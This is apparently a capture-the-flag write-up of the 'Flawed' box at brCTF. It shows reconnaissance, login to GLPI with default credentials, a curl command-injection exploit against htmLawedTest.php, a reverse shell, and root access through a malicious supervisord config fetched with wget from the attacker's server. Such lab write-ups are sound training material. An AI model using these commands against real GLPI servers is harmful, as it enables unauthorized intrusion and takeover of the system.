Post

Flawed @ brCTF

Flawed @ brCTF

Flawed - brCTF

Information Gathering/Reconnaissance

As is customary, we initiate our preferred network scanning tool, Nmap, to conduct initial reconnaissance. Our scan reveals that port 80, which is typically associated with HTTP and port 22, are accessible.
nmap -sC -sV -oN flawed.nmap 10.0.160.157

1
2
3
4
5
6
7
8
9
10
11
Nmap scan report for 10.0.160.157
Host is up (0.23s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Authentication - GLPI
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

In the second phase of our reconnaissance, we proceed to examine the application hosted on port 80 by accessing it through our web browser. To our surprise, we are welcomed with a login page. Quite intriguing! GLPI Login

After a brief research on google we discovered default credentials for GLPI which we can try on our target. google glpi logins

Exploitation

We now attempt to login to GLPI and viola!!
From there we move on with our recon and attempt to find the version of GLPI running. Hopefully we can find publicly available exploits. glpi logged in The version of GLPI can be seen in the photo below. glpi version enum

Now that we know the version running, we can google it to find available exploits and shortly after, we find one on github from Orange-CyberDefense

CURL Command to exploit the vulnerability
curl -s -d 'sid=foo&hhook=exec&text=[command]' -b 'sid=foo' http://[target-ip]/vendor/htmlawed/htmlawed/htmLawedTest.php |egrep '\&nbsp; \[[0-9]+\] =\&gt;'| sed -E 's/\&nbsp; \[[0-9]+\] =\&gt; (.*)<br \/>/\1/'

Replace [command] and [target] with the command you want to execute on the target and the IP address of the target respectfully.

We modify the exploit to get a reverse shell on our netcat listener.
Firstly, we must make sure we are listening for incoming connections.
netcat listening

Secondly, we prepare our exploit code to obtain a reverse shell.
preparing payload

We execute the command and boom!! we get a connection on our listener.
conn reccv

Post Exploitation

As usual we need to stabilize our shell and the steps are as follows:

Shell stabilization

Execute on target

  1. Step 1: python3 -c "import pty;pty.spawn('/bin/bash')"
  2. Step 2: export TERM=xterm-color
  3. Step 3: CTRL+z
    On host machine.
  4. Step 4: stty raw -echo; fg
  5. Step 5: reset

Let’s continue from when we left off. Let’s check the sudo privileges the ETSCTF user has on the box. sudo privs

Hmmmm, interesting….. Can we abuse this?
After doing some research we find out that:
Supervisord is a process control system for Unix-like operating systems. It allows you to manage and monitor multiple processes, ensuring that they run continuously and automatically restarting them if they fail. Supervisord is often used to manage services, daemons, and other long-running processes.

Supervisord can run commands in it’s configuration file. Now you get the hint from here? So what we’ll have to do is to craft a configuration file for supervisord which contains commands to execute.
We will take advantage of this to spawn a shell.
sudo privs

Before anything else let’s start our listener
other nc listener

Now we have to transfer our malicious configuration to the target. To make that possible we must start our local python http server in the directory containing our malicious configuration.
python3 -m http.server 8000
python http server

Downloading the malicious configuration from our python http server.
NB: make sure you have write privileges to the current directory you are in. You can use the /tmp since it has very loose permissions.
wget http://<server.ip>:<port>/test.conf python http server

Right after downloading the file we transfer it the the /var/tmp directory. This is necessary because it is the only folder that we can execute configuration files from.
copy to var-tmp

Now we can run our command with sudo to gain root privileges.
run pe vector

Viola!! we are root. :smiley:
i am root

This post is licensed under CC BY 4.0 by the author.